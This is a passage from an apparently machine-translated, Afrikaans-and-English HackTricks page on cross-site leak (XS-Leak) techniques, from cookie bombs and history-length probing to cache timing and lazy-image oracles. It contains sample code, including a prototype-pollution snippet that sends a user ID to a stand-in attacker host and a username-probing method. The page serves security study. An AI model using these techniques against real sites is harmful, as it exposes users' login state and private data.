As jy op een of ander manier koekies by ’n gebruiker kan stel, kan jy hierdie aanval ook uitvoer deur genoeg koekies te stel (die so-called cookie bomb) sodat die verhoogde response-grootte van die korrekte respons ’n fout veroorsaak. In daardie geval, onthou dat as jy hierdie versoek vanaf dieselfde site trigger, <script> outomaties die koekies sal stuur (sodat jy vir foute kan kyk).
’n Voorbeeld van die cookie bomb + XS-Search is te vinde in die Intended solution van hierdie writeup: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None of om in dieselfde konteks te wees is gewoonlik benodig vir hierdie tipe aanval.

URL Max Length - Client Side

Volgens Chromium-dokumentasie, is Chrome se maksimum URL-lengte 2MB.

In general, the web platform does not have limits on the length of URLs (although 2^31 is a common limit). Chrome limits URLs to a maximum length of 2MB for practical reasons and to avoid causing denial-of-service problems in inter-process communication.

Daarom, as die redirect-URL in een van die gevalle groter is, is dit moontlik om te laat omlei na ’n URL groter as 2MB om die lengte-limiet te tref. Wanneer dit gebeur, wys Chrome ’n about:blank#blocked bladsy.

Die merkbare verskil is dat as die omleiding voltooi is, window.origin ’n fout gooi omdat ’n cross-origin nie daardie inligting kan benader nie. Indien die limiet getref is en die gelaaide blad about:blank#blocked is, bly die venster se origin dié van die ouer, wat ’n toeganklike inligting is.

Al die ekstra inligting wat nodig is om die 2MB te bereik kan via ’n hash in die aanvanklike URL bygevoeg word sodat dit in die omleiding gebruik sal word.

URL Max Length - Client Side

Max Redirects

As die maksimum aantal omleidings wat ’n blaaier volg byvoorbeeld 20 is, kan ’n aanvaller probeer om sy bladsy met 19 omleidings te laai en uiteindelik die slagoffer na die getoetste blad te stuur. As ’n fout getrigger word, dan het die blad probeer om die slagoffer te omlei.

History Length

Die History API laat JavaScript toe om die blaaiergeskiedenis te manipuleer, wat die bladsye wat ’n gebruiker besoek het stoor. ’n Aanvaller kan die length-eienskap gebruik as ’n insluitingsmetode: om JavaScript- en HTML-navigasie te detecteer.
Kontroleer history.length, laat ’n gebruiker na ’n blad navigeer, verander dit terug na dieselfde origin en kontroleer die nuwe waarde van history.length.

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: If URL is the same as the guessed one
  • Summary: Dit is moontlik om te raai of die ligging van ’n frame/popup op ’n spesifieke URL is deur die history length te misbruik.
  • Code Example: Below

’n Aanvaller kan JavaScript gebruik om die frame/popup-ligging na ’n geraaide URL te verander en dit onmiddellik na about:blank te laai. As die history length toegeneem het beteken dit die URL was korrek en het dit tyd gehad om toe te neem omdat die URL nie herlaai word as dit dieselfde is nie. As dit nie toegeneem het nie, beteken dit dat dit probeer het om die geraaide URL te laai maar omdat ons onmiddellik daarna about:blank gelaai het, het die history length nooit toegeneem terwyl die geraaide URL gelaai is nie.

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

Counting the number of frames in a web opened via iframe or window.open might help to identify the status of the user over that page.
Moreover, if the page has always the same number of frames, checking continuously the number of frames might help to identify a pattern that might leak info.

An example of this technique is that in chrome, a PDF can be detected with frame counting because an embed is used internally. There are Open URL Parameters that allow some control over the content such as zoom, view, page, toolbar where this technique could be interesting.

HTMLElements

Information leakage through HTML elements is a concern in web security, particularly when dynamic media files are generated based on user information, or when watermarks are added, altering the media size. This can be exploited by attackers to differentiate between possible states by analyzing the information exposed by certain HTML elements.

Information Exposed by HTML Elements

  • HTMLMediaElement: This element reveals the media’s duration and buffered times, which can be accessed via its API. Read more about HTMLMediaElement
  • HTMLVideoElement: It exposes videoHeight and videoWidth. In some browsers, additional properties like webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, and webkitDecodedFrameCount are available, offering more in-depth information about the media content. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): This function provides details about video playback quality, including totalVideoFrames, which can indicate the amount of video data processed. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: This element leaks the height and width of an image. However, if an image is invalid, these properties will return 0, and the image.decode() function will be rejected, indicating the failure to load the image properly. Read more about HTMLImageElement

CSS Property

Web applications may change webwerfstyl afhangend van die status van die gebruiker. Cross-origin CSS files can be embedded on the attacker page with the HTML link element, and the rules will be applied to the attacker page. If a page dynamically changes these rules, an attacker can detect these differences depending on the user state.
As a leak technique, the attacker can use the window.getComputedStyle method to read CSS properties of a specific HTML element. As a result, an attacker can read arbitrary CSS properties if the affected element and property name is known.

CSS History

Tip

Volgens this, werk dit nie in headless Chrome nie.

The CSS :visited selector is utilized to style URLs differently if they have been previously visited by the user. In the past, the getComputedStyle() method could be employed to identify these style differences. However, modern browsers have implemented security measures to prevent this method from revealing the state of a link. These measures include always returning the computed style as if the link were visited and restricting the styles that can be applied with the :visited selector.

Despite these restrictions, it’s possible to discern the visited state of a link indirectly. One technique involves tricking the user into interacting with an area affected by CSS, specifically utilizing the mix-blend-mode property. This property allows the blending of elements with their background, potentially revealing the visited state based on user interaction.

Furthermore, detection can be achieved without user interaction by exploiting the rendering timings of links. Since browsers may render visited and unvisited links differently, this can introduce a measurable time difference in rendering. A proof of concept (PoC) was mentioned in a Chromium bug report, demonstrating this technique using multiple links to amplify the timing difference, thereby making the visited state detectable through timing analysis.

For further details on these properties and methods, visit their documentation pages:

ContentDocument X-Frame Leak

In Chrome, if a page with the X-Frame-Options header set to “deny” or “same-origin” is embedded as an object, an error page appears. Chrome uniquely returns an empty document object (instead of null) for the contentDocument property of this object, unlike in iframes or other browsers. Attackers could exploit this by detecting the empty document, potentially revealing information about the user’s state, especially if developers inconsistently set the X-Frame-Options header, often overlooking error pages. Awareness and consistent application of security headers are crucial for preventing such leaks.

Download Detection

The Content-Disposition header, specifically Content-Disposition: attachment, instructs the browser to download content rather than display it inline. This behavior can be exploited to detect whether a user has access to a page that triggers a file download. In Chromium-based browsers, there are a few techniques to detect this download behavior:

  1. Download Bar Monitoring:
  • When a file is downloaded in Chromium-based browsers, a download bar appears at the bottom of the browser window.
  • By monitoring changes in the window height, attackers can infer the appearance of the download bar, suggesting that a download has been initiated.
  1. Download Navigation with Iframes:
  • When a page triggers a file download using the Content-Disposition: attachment header, it does not cause a navigation event.
  • By loading the content in an iframe and monitoring for navigation events, it’s possible to check if the content disposition causes a file download (no navigation) or not.
  1. Download Navigation without Iframes:
  • Similar to the iframe technique, this method involves using window.open instead of an iframe.
  • Monitoring navigation events in the newly opened window can reveal whether a file download was triggered (no navigation) or if the content is displayed inline (navigation occurs).

In scenarios where only logged-in users can trigger such downloads, these techniques can be used to indirectly infer the user’s authentication state based on the browser’s response to the download request.

Partitioned HTTP Cache Bypass

Warning

This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)

If a site example.com includes a resource from *.example.com/resource then that resource will have the same caching key as if the resource was directly requested through top-level navigation. That is because the caching key is consisted of top-level eTLD+1 and frame eTLD+1.

Because accessing the cache is faster than loading a resource, it’s possible to try to change the location of a page and cancel it 20ms (for example) after. If the origin was changed after the stop, it means that the resource was cached.
Or could just send some fetch to the pontentially cached page and measure the time it takes.

Manual Redirect

Fetch with AbortController

Use fetch and setTimeout with an AbortController to both detect whether the resource is cached and to evict a specific resource from the browser cache. Moreover, the process occurs without caching new content.

Script Pollution

Prototype hooks to exfiltrate module-scoped data

Pre-define Function.prototype.default and Function.prototype.__esModule = 1 before loading a module so its default export calls your hook (e.g., receives {userID: ...}), letting you read module-scoped values without timing or brute force.

<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>

Die versoek self word ook ’n login-state oracle as die script slegs vir geverifieerde gebruikers laai.

Service Workers

In die gegewe scenario neem die aanvaller die inisiatief om ’n service worker binne een van hul domeine te registreer, spesifiek “attacker.com”. Vervolgens open die aanvaller ’n nuwe venster op die teikenwebwerf vanaf die hoofdokument en beveel die service worker om ’n timer te begin. Terwyl die nuwe venster begin laai, navigeer die aanvaller die verwysing wat in die vorige stap verkry is na ’n bladsy wat deur die service worker bestuur word.

Wanneer die versoek wat in die vorige stap geïnisieer is aankom, reageer die service worker met ’n 204 (No Content) statuskode, wat die navigasieproses effektief beëindig. Op hierdie punt neem die service worker ’n meting van die timer wat vroeër in stap twee begin is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.

Warning

In ’n uitvoeringstydmeting is dit moontlik om network factors te elimineer om meer presiese metings te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word vooraf te laai.

Fetch Timing

Cross-Window Timing

Subdomain probing for identity/login state

  • Insluitingsmetodes: HTML Elements (script), Frames
  • Waarneembare Verskil: DNS/HTTP laaisukses, CORB/header-wijzigings
  • Opsomming: If identifiers live in subdomain labels (e.g., www.<username>.sb.facebook.com), request resources on candidate hosts and treat onload vs onerror/timeouts as a Boolean. Combine with login-only scripts (e.g., /signals/iwl.js) to brute-force usernames and verify auth to related properties.
  • Nota: Signals can be amplified with different inclusion types (script, iframe, object) to detect X-Frame-Options, CORB, or redirect differences per candidate.

With HTML or Re Injection

Hier vind jy tegnieke om inligting te exfiltrate vanaf ’n cross-origin HTML injecting HTML content. Hierdie tegnieke is interessant in gevalle waar jy om een of ander rede HTML kan inject maar jy nie inject JS code kan nie.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

As jy inhoud moet exfiltrate en jy kan add HTML previous to the secret, behoort jy die common dangling markup techniques na te gaan.
Indien jy egter om een of ander rede dit MOET doen char by char (dalk is die kommunikasie via ’n cache hit), kan jy hierdie truuk gebruik.

Beelde in HTML het ’n “loading” attribuut waarvan die waarde “lazy” kan wees. In daardie geval sal die beeld gelaai word wanneer dit besigtig word en nie terwyl die bladsy laai nie:

<img src=/something loading=lazy >

Daarom kan jy eintlik baie junk chars byvoeg (Byvoorbeeld duisende “W“s) om die webblad voor die geheim te vul of iets soos <br><canvas height="1850px"></canvas><br>. by te voeg. Dan, as byvoorbeeld ons injection verskyn voor die flag, sal die image gelaai word, maar as dit na die flag verskyn, sal die flag + die junk verhoed dat dit gelaai word (jy sal met hoeveel junk om te plaas moet eksperimenteer). Dit is wat in this writeup gebeur het.

Another option would be to use the scroll-to-text-fragment if allowed:

Scroll-to-text-fragment

Tog maak jy die bot access the page met iets soos

#:~:text=SECR

So die webblad sal dus ongeveer so lyk: https://victim.com/post.html#:~:text=SECR

Waar post.html die attacker junk chars en lazy load image bevat en dan die bot se geheim bygevoeg word.

Hierdie teks sal die bot laat toegang kry tot enige teks op die bladsy wat die teks SECR bevat. Aangesien daardie teks die geheim is en dit net onder die image is, sal die image slegs laai as die geraade geheim korrek is. So daar het jy jou oracle om die geheim char vir char te exfiltrate.

Sommige voorbeeldkode om dit te exploit: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

If it’s not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isn’t loaded. This is what was used in the solution of this writeup sumarized here:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

As jQuery(location.hash) gebruik word, is dit moontlik om via timing if some HTML content exists uit te vind, dit is omdat as die selector main[id='site-main'] nie pas nie, dit nie die res van die selectors hoef te kontroleer nie:

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

Verdedigingsmaatreëls

Daar word mitigasies aanbeveel in https://xsinator.com/paper.pdf en ook in elke afdeling van die wiki https://xsleaks.dev/. Kyk daar vir meer inligting oor hoe om teen hierdie tegnieke te beskerm.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks